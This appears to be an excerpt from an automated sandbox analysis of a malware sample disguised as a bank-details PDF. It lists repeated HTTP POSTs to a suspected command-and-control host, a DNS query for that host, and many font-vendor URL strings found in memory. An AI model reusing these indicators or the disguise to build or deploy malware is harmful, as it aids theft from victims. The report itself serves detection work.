Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Code function: 11_2_00404ED4 recv,

11_2_00404ED4

Source: unknown

DNS traffic detected: queries for: zamloki.xyz

Source: unknown

HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 196Connection: close

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Jul 2021 20:07:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LDhjgtJmNIi9MeBqzghFFCOaf37vwQxuuIY7Lfyut4riHaUxYoglCfaNJ3a5zbxQrrwDigr849W%2BiGwTSDvbZTlgm8H9SeKHsc0iWNfHTJ8bpp6liOxaNg2nexcRjA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 67587e335a9f4414-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: Detalles del banco.pdf.exe	String found in binary or memory: http://douglasheriot.com/uno/
Source: Detalles del banco.pdf.exe	String found in binary or memory: http://douglasheriot.com/uno/)Microsoft
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Detalles del banco.pdf.exe, 00000001.00000003.341677043.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: Detalles del banco.pdf.exe, 00000001.00000003.341639907.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html~C
Source: Detalles del banco.pdf.exe, 00000001.00000003.340888504.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comJ
Source: Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comV
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comlt
Source: Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.como.
Source: Detalles del banco.pdf.exe, 00000001.00000003.340683290.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comva
Source: Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Detalles del banco.pdf.exe, 00000001.00000003.344612897.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Detalles del banco.pdf.exe, 00000001.00000003.344612897.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlO
Source: Detalles del banco.pdf.exe, 00000001.00000003.343825095.0000000005D9B000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Detalles del banco.pdf.exe, 00000001.00000003.343774792.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.htmlslnt(
Source: Detalles del banco.pdf.exe, 00000001.00000003.350801625.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers1L
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Detalles del banco.pdf.exe, 00000001.00000003.344691861.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers:
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Detalles del banco.pdf.exe, 00000001.00000003.344747350.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designerssL
Source: Detalles del banco.pdf.exe, 00000001.00000003.344642223.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers~
Source: Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comF;
Source: Detalles del banco.pdf.exe, 00000001.00000003.343774792.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comFx
Source: Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comM.TTF
Source: Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comW.TTF
Source: Detalles del banco.pdf.exe, 00000001.00000003.351084961.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.coma0
Source: Detalles del banco.pdf.exe, 00000001.00000003.351084961.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comaj
Source: Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comalic-
Source: Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comals
Source: Detalles del banco.pdf.exe, 00000001.00000003.342738871.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comceac
Source: Detalles del banco.pdf.exe, 00000001.00000003.343561531.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comdTTFc
Source: Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comdj
Source: Detalles del banco.pdf.exe, 00000001.00000003.343381990.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comdx
Source: Detalles del banco.pdf.exe, 00000001.00000003.351084961.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.come.com
Source: Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.come.com_
Source: Detalles del banco.pdf.exe, 00000001.00000003.345535438.0000000005DC5000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comituO
Source: Detalles del banco.pdf.exe, 00000001.00000003.343752319.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comldc
Source: Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comq
Source: Detalles del banco.pdf.exe, 00000001.00000003.344452374.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comsief
Source: Detalles del banco.pdf.exe, 00000001.00000003.343970479.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comsiv/0
Source: Detalles del banco.pdf.exe, 00000001.00000003.342894136.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comt;
Source: Detalles del banco.pdf.exe, 00000001.00000003.342738871.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comv
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Detalles del banco.pdf.exe, 00000001.00000003.339865643.0000000005DBD000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn//w
Source: Detalles del banco.pdf.exe, 00000001.00000003.339258321.0000000005DBE000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/T
Source: Detalles del banco.pdf.exe, 00000001.00000003.340141373.0000000005DBE000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/b
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Detalles del banco.pdf.exe, 00000001.00000003.339961162.0000000005DBD000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn9
Source: Detalles del banco.pdf.exe, 00000001.00000003.339865643.0000000005DBD000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnd
Source: Detalles del banco.pdf.exe, 00000001.00000003.347132491.0000000005DC0000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000003.347156344.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Detalles del banco.pdf.exe, 00000001.00000003.347107000.0000000005D9B000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/b4
Source: Detalles del banco.pdf.exe, 00000001.00000003.347132491.0000000005DC0000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/j
Source: Detalles del banco.pdf.exe, 00000001.00000003.347235327.0000000005D9B000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000003.347156344.0000000005D9B000.00000004.00000001.sdmp, Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Detalles del banco.pdf.exe, 00000001.00000002.447598637.0000000005E80000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Detalles del banco.pdf.exe, Detalles del banco.pdf.exe, 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/#
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/0
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/;
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/F
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/T
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
Source: Detalles del banco.pdf.exe, 00000001.00000003.341132633.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/_
Source: Detalles del banco.pdf.exe, 00000001.00000003.341031838.0000000005DC4000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/c
Source: Detalles del banco.pdf.exe, 00000001.00000003.341427288.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/en-u
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/j
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: Detalles del banco.pdf.exe, 00000001.00000003.341514585.0000000005DBF000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/_
